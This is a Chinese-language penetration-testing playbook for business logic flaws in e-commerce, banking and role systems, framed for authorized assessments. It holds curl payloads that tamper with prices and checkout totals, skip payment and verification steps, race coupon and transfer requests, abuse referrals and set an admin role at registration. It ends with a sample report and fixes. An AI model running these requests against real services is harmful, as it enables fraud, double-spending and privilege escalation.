Testing For Business Logic Vulnerabilities

测试业务逻辑漏洞（Testing for Business Logic Vulnerabilities）

适用场景

• 在授权渗透测试中，自动化扫描器发现技术漏洞较少时
• 评估电商平台的定价、购物车和支付流程操控时
• 测试多步骤工作流（注册、结账、审批流程）是否存在绕过机会时
• 评估有速率限制的功能（如优惠券、返利、推荐奖励系统）时
• 对金融应用、投票系统或任何具有关键业务规则的应用进行安全评估时

前置条件

• 授权：明确覆盖业务逻辑测试的书面渗透测试协议
• Burp Suite Professional：用于拦截和修改多步骤请求流
• 应用理解：对应用预期业务工作流的深入了解
• 多个测试账户：不同权限级别和状态的账户
• 浏览器 DevTools：检查客户端验证逻辑
• 文档：描述预期行为的业务需求或用户故事

工作流程

步骤 1 — 映射业务工作流和规则

记录所有关键业务流程及其预期约束条件。

# 需要映射的关键业务流程：
# 1. 注册/引导流程
#    - 邮箱验证要求
#    - 账户审批流程
#    - 角色分配逻辑

# 2. 电商/购买流程
#    - 选品 → 购物车 → 结账 → 支付 → 确认
#    - 价格计算逻辑
#    - 折扣/优惠券应用
#    - 数量限制
#    - 运费计算

# 3. 认证/授权流程
#    - 登录 → 多因素认证 → 控制台
#    - 密码重置 → Token → 新密码
#    - 角色提升/审批

# 4. 金融交易
#    - 余额检查 → 转账 → 确认
#    - 提现限额
#    - 货币转换

# 记录预期约束条件：
# - 最低订单金额
# - 每件商品最大数量
# - 优惠券使用限制（每用户一次）
# - 推荐奖励上限
# - 每日提现限额
# - 某些操作前的账户验证要求

步骤 2 — 测试价格和数量操控

拦截并修改请求中的价格、数量和总额字段。

# 测试负数量
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
  "https://target.example.com/api/cart/add"

# 测试零价格
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 1, "price": 0}' \
  "https://target.example.com/api/cart/add"

# 测试超大数量
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 999999999}' \
  "https://target.example.com/api/cart/add"

# 测试小数/浮点操控
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
  "https://target.example.com/api/cart/add"

# 测试整数溢出
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 2147483647}' \
  "https://target.example.com/api/cart/add"

# 直接修改结账请求中的总金额
# 在 Burp 中拦截并将 total 从 299.99 改为 0.01
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
  "https://target.example.com/api/checkout"

步骤 3 — 测试工作流步骤绕过

尝试跳过多步骤流程中的必要步骤。

# 跳过邮箱验证
# 正常流程：注册 → 验证邮箱 → 访问控制台
# 尝试：注册 → 直接访问控制台
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
  "https://target.example.com/api/dashboard"

# 跳过支付步骤
# 正常流程：购物车 → 配送 → 支付 → 确认
# 尝试：购物车 → 确认（跳过支付）
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "abc123", "shipping_address": "123 Main St"}' \
  "https://target.example.com/api/orders/confirm"

# 跳过多因素认证步骤
# 正常流程：登录 → 多因素认证 → 控制台
# 尝试：登录 → 控制台（跳过多因素认证）
# 密码认证成功后，直接访问受保护资源

# 跳过审批流程
# 正常流程：提交申请 → 经理审批 → 授权访问
# 尝试：提交申请 → 授权访问（跳过审批）

# 重复本应一次性的步骤
# 多次使用同一优惠券
for i in $(seq 1 5); do
  curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"coupon_code": "DISCOUNT50"}' \
    "https://target.example.com/api/cart/apply-coupon"
  echo "第 $i 次尝试"
done

步骤 4 — 测试业务逻辑中的竞争条件

利用并发请求处理中的时间窗口。

# 优惠券应用的竞争条件
# 同时发送多个相同请求
for i in $(seq 1 10); do
  curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"coupon_code": "ONETIME50"}' \
    "https://target.example.com/api/cart/apply-coupon" &
done
wait

# 余额转账的竞争条件
# 若用户有 $100，尝试同时向两个账户各转 $100
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"to": "user_b", "amount": 100}' \
  "https://target.example.com/api/transfer" &

curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"to": "user_c", "amount": 100}' \
  "https://target.example.com/api/transfer" &
wait

# 领取奖励的竞争条件
# 使用 Burp Turbo Intruder 精确控制时序：
# 1. 将请求发送至 Turbo Intruder
# 2. 使用竞争条件脚本模板
# 3. 同时发送 20+ 个请求
# 4. 检查奖励是否被多次领取

步骤 5 — 测试推荐和奖励系统滥用

寻找利用促销功能和奖励机制的方法。

# 自我推荐：推荐自己的邮箱
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"referral_email": "myown@email.com"}' \
  "https://target.example.com/api/referrals/invite"

# 推荐码跨账户重用
# 创建多个账户并使用相同的推荐码

# 优惠券叠加：使用多个折扣码
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_codes": ["SAVE10", "WELCOME20", "VIP50"]}' \
  "https://target.example.com/api/cart/apply-coupons"

# 免费试用滥用：用相同信息重新注册
# 测试 email+1@domain.com 或 email@domain.com 是否绕过重复检测

# 礼品卡/积分操控
# 用礼品卡余额购买礼品卡（循环）
# 用价值超过购买金额的礼品卡付款（获得差额积分）

# 测试积分操控
# 下订单获得积分 → 取消订单 → 保留积分
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/orders/12345/cancel"
# 检查订单 12345 的奖励积分是否已被撤销

步骤 6 — 测试角色和权限逻辑

通过业务流程评估授权逻辑的权限提升可能性。

# 通过注册参数进行角色提升
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"Test1234!","role":"admin"}' \
  "https://target.example.com/api/auth/register"

# 组织租户边界测试
# 组织 A 的用户通过业务流程尝试访问组织 B 的资源
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN_ORG_A" \
  -H "Content-Type: application/json" \
  -d '{"org_id": "org_b_id", "action": "view_reports"}' \
  "https://target.example.com/api/reports"

# 测试角色降级后的权限保留
# 管理员 → 普通用户：是否仍可访问管理功能？
# 在职员工 → 已离职：是否仍可访问公司资源？

# 测试邀请/委派滥用
# 邀请权限高于邀请者的用户
curl -s -X POST \
  -H "Authorization: Bearer $REGULAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email":"new@test.com","role":"admin"}' \
  "https://target.example.com/api/users/invite"

核心概念

工具与系统

常见场景

场景 1：优惠券叠加

电商网站允许应用多个优惠码。通过叠加 "WELCOME10"、"SAVE20" 和 "VIP30"，总折扣超过商品价格，导致余额为负或免费下单。

场景 2：转账竞争条件

银行应用在转账前检查余额，但未锁定账户。对 $1000 余额同时发起两笔 $1000 转账，两笔均成功，凭空创造了资金。

场景 3：结账价格覆盖

结账流程在 POST 请求体中发送总金额。拦截并将总金额从 $499.99 改为 $0.01，即可以操控后的价格成功下单。

场景 4：密码重置 Token 复用

密码重置流程生成一次性 Token，但使用后不将其作废。相同的 Token 可被反复用于重置密码。

输出格式

## 业务逻辑漏洞发现

**漏洞**：结账流程中的价格操控
**严重性**：Critical（CVSS 9.1）
**位置**：POST /api/checkout — `total` 参数
**OWASP 类别**：A04:2021 - 不安全设计

### 复现步骤
1. 将商品加入购物车（价格：$499.99）
2. 进入结账流程
3. 在 Burp 中拦截 POST /api/checkout 请求
4. 将 "total" 从 499.99 修改为 0.01
5. 转发请求；订单以 $0.01 完成

### 违反的业务规则
| 规则 | 预期 | 实际 |
|------|----------|--------|
| 服务端价格计算 | 总额在服务端计算 | 接受客户端提交的总额 |
| 优惠券单次使用 | 每单一张优惠券 | 同一优惠券被使用 5 次 |
| 负数量检查 | 数量 >= 1 | 接受数量 -1（发放积分） |
| 转账竞争条件 | 余额原子性检查 | 双重转账超出余额 |

### 影响
- 财务损失：订单以攻击者控制的价格处理
- 库存损失：商品以 $0.01 发货
- 奖励滥用：通过自我推荐获得无限推荐积分
- 通过转账竞争条件实现双花

### 建议
1. 所有价格计算在服务端执行，切勿信任客户端提交的总额
2. 实施数量服务端验证（仅接受正整数）
3. 对金融操作使用数据库级锁或原子事务
4. 实施幂等性密钥防止重复交易处理
5. 对优惠券应用、推荐提交和转账进行速率限制和日志记录